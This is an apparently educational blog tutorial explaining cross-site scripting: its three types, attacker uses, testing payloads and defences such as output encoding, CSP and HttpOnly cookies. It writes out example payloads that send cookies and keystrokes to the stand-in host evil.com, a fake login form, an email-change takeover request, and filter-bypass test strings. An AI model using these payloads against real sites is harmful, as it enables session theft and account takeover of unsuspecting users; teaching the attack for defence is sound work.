Your First Vulnerability: Understanding XSS
Cross-Site Scripting explained from scratch - what it is, the three types, how attackers exploit it, and how to prevent it. With safe practice labs.
On this page
Ground Up: How Things Break
Part 2 of 4
View all parts
- 1How Web Applications Work (Before You Break Them)
- 2Your First Vulnerability: Understanding XSS
- 3SQL Injection Explained: Talking to Databases You Shouldn't
- 4Authentication Attacks: Passwords, Sessions, and Tokens
Cross-Site Scripting (XSS) is the most common web vulnerability in the world. OWASP consistently ranks it in the Top 10. It’s also one of the easiest to understand once you see it.
In the previous post, we covered how web apps handle input and output. XSS is what happens when that handling goes wrong.
What Is XSS?
Cross-Site Scripting (XSS) is when an attacker injects JavaScript into a web page that other users view. When those users load the page, the attacker’s JavaScript runs in their browser.
That’s it. Attacker puts script on page → victim’s browser runs it.
Why JavaScript Is Dangerous
JavaScript running in your browser can:
- Read your cookies (including session cookies)
- Read anything on the page (passwords in forms, personal data)
- Make HTTP requests as you (transfer money, change your password)
- Redirect you to a fake login page
- Log your keystrokes
- Modify what you see on the page
When an attacker’s JavaScript runs in your browser, it runs with your session, your cookies, your permissions. The browser doesn’t know it’s not legitimate.
The Basic Idea
Consider a search feature:
You search for: laptops
URL becomes: https://shop.com/search?q=laptops
Page shows: "Results for: laptops"
The app takes your input (laptops) and displays it back on the page. Normal behavior. But what if instead of “laptops,” you type this:
<script>alert('XSS')</script>
If the app doesn’t sanitize the input, the page becomes:
Results for: <script>alert('XSS')</script>
The browser sees a <script> tag, treats it as code, and executes it. An alert box pops up.
An alert box is harmless. But the same injection point accepts any JavaScript. Replace alert('XSS') with code that steals cookies or redirects users, and it’s a real attack.
The Three Types of XSS
1. Reflected XSS
The attacker’s input is immediately “reflected” back in the response. It’s not stored anywhere - it lives in the URL or request.
How it works:
1. Attacker crafts a malicious URL:
https://shop.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
2. Attacker sends the link to a victim (phishing email, message, etc.)
3. Victim clicks the link
4. The server reflects the search query into the page without sanitization
5. Victim's browser executes the injected JavaScript
6. Victim's cookies are sent to evil.com
Key characteristic: The payload is in the URL. It only executes when the victim clicks the crafted link.
Real-world example scenario:
An attacker finds that https://bank.com/error?msg= reflects the msg parameter into the error page. They craft:
https://bank.com/error?msg=<script>fetch('https://evil.com/?c='+document.cookie)</script>
And send it to targets in a phishing email that says “Your account has an issue, click here.”
2. Stored XSS
The attacker’s input is saved in the application’s database and displayed to other users later. This is more dangerous than reflected because it doesn’t require the victim to click a special link.
How it works:
1. Attacker posts a comment on a blog:
"Great article! <script>fetch('https://evil.com/?c='+document.cookie)</script>"
2. The server stores the comment in the database
3. When ANY user views that page, the comment is loaded from the database
and rendered in the HTML
4. Every visitor's browser executes the JavaScript
5. Every visitor's cookies are stolen
Key characteristic: The payload is stored on the server. Every user who views the page is affected automatically.
Where stored XSS commonly appears:
- Comments and forum posts
- User profiles (name, bio, status)
- Messages and chat
- Product reviews
- Any user-generated content that’s displayed to others
3. DOM-Based XSS
The payload never reaches the server. JavaScript on the client side reads user input (from the URL, usually) and inserts it into the page unsafely.
How it works:
// Vulnerable client-side code:
const search = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = 'Results for: ' + search;
The innerHTML takes whatever is in the URL parameter q and puts it directly into the page as HTML. No server involved - the browser does it all.
Key characteristic: The vulnerability is in the client-side JavaScript, not the server code.
Comparison
| Type | Payload Location | Persistence | Reach |
|---|---|---|---|
| Reflected | In the URL/request | None - one-time | Victim must click crafted link |
| Stored | In the database | Permanent until removed | Every user who views the page |
| DOM-Based | In the URL, processed client-side | None | Victim must click crafted link |
What Attackers Actually Do with XSS
The alert() test proves XSS exists. Real attacks do much more.
Cookie Theft (Session Hijacking)
// Steal session cookie and send to attacker
fetch('https://evil.com/steal?cookie=' + document.cookie);
If the session cookie doesn’t have the HttpOnly flag, this works. The attacker receives your session cookie, puts it in their browser, and is now logged in as you.
Keylogging
// Log everything the user types
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/keys?k=' + e.key);
});
Captures every keystroke on the page. Passwords, credit card numbers, messages - everything typed while the malicious script runs.
Page Defacement
// Replace page content with fake login form
document.body.innerHTML = '<h1>Session Expired</h1>' +
'<form action="https://evil.com/phish">' +
'<input name="user" placeholder="Username">' +
'<input name="pass" type="password" placeholder="Password">' +
'<button>Login</button></form>';
The user sees a convincing “re-login” prompt. They enter credentials, which go straight to the attacker.
Account Takeover
// Change the user's email address (for password reset takeover)
fetch('/api/account/update', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});
The request runs with the victim’s session. The server sees a legitimate request from a logged-in user. Email changed, password reset to attacker’s email, account taken over.
Finding XSS
Where to Look
Any place where user input appears in the page:
- Search boxes and search results
- URL parameters displayed on the page
- Error messages that include user input
- User profile fields (names, bios)
- Comment sections and forums
- File upload names
- HTTP headers reflected in responses
Basic Testing
Start with a simple test string:
<script>alert(1)</script>
If an alert pops up, it’s vulnerable. If not, the app might be filtering <script> tags. Try alternatives:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><img src=x onerror=alert(1)>
'><script>alert(1)</script>
javascript:alert(1)
The ">< at the start tries to break out of an HTML attribute. If your input is inside a tag like <input value="YOUR INPUT">, you need to close the attribute and tag first.
Context Matters
Where your input lands determines what payload works:
| Context | Example | Payload Approach |
|---|---|---|
| HTML body | <p>YOUR INPUT</p> | <script>alert(1)</script> |
| HTML attribute | <input value="YOUR INPUT"> | " onmouseover="alert(1) |
| JavaScript string | var x = 'YOUR INPUT'; | '; alert(1); ' |
| URL | <a href="YOUR INPUT"> | javascript:alert(1) |
Each context requires a different injection technique. This is why automated scanners miss XSS - they don’t always understand the context.
Prevention
For Developers
1. Output Encoding (Most Important)
Encode user data before inserting it into HTML. Convert special characters to their HTML entity equivalents:
| Character | Encoded As |
|---|---|
< | < |
> | > |
" | " |
' | ' |
& | & |
After encoding, <script>alert(1)</script> becomes <script>alert(1)</script> - which the browser displays as text instead of executing as code.
Most modern frameworks do this automatically:
- React: Auto-escapes by default (unless you use
dangerouslySetInnerHTML) - Angular: Auto-escapes in templates
- Django: Auto-escapes in templates
- Rails: Auto-escapes with
ERBtemplates
2. Content Security Policy (CSP)
A response header that tells the browser what scripts are allowed to run:
Content-Security-Policy: script-src 'self'; object-src 'none';
This says: only run scripts from the same domain. Inline scripts and scripts from other domains are blocked. Even if XSS injection succeeds, the browser refuses to execute the injected script.
3. HttpOnly Cookies
Set-Cookie: session=abc123; HttpOnly
JavaScript can’t read HttpOnly cookies. This doesn’t prevent XSS, but it prevents XSS from stealing session cookies.
4. Input Validation
Validate that input matches expected formats. An email field should contain an email. A phone number should contain digits. But don’t rely on this alone - output encoding is the primary defense.
Defense in Depth
No single defense is perfect. Use all of them:
Input Validation → catches obviously wrong input
Output Encoding → prevents injection in HTML
CSP Headers → blocks unauthorized script execution
HttpOnly Cookies → prevents cookie theft even if XSS exists
Practice Safely
Never test XSS on websites you don’t own. Use these instead:
- PortSwigger Web Security Academy - Free XSS labs with explanations: portswigger.net/web-security/cross-site-scripting
- OWASP Juice Shop - Run locally, find XSS challenges
- DVWA - Classic vulnerable app with difficulty levels
- HackTheBox - Web challenges featuring XSS
What’s Next
XSS attacks the output side - injecting code into pages. In the next post, we’ll attack the other side: the database. SQL injection lets you talk directly to the database by manipulating input that becomes part of a database query. It’s often more destructive than XSS because it targets the data itself.
References
XSS is the “hello world” of web security. Simple to understand, everywhere in the wild, and endlessly underestimated by developers who think a regex filter is enough.
Related Articles
Authentication Attacks: Passwords, Sessions, and Tokens
How login systems break - brute force, credential stuffing, session hijacking, token flaws, and MFA bypass. The complete beginner's guide to auth attacks.
How Web Applications Work (Before You Break Them)
Client-server architecture, request flow, cookies, sessions, and APIs. You need to understand the machine before you can find the cracks.
SQL Injection Explained: Talking to Databases You Shouldn't
How SQL injection works, why it's devastating, and how to prevent it. From basic injection to blind SQLi, explained for beginners.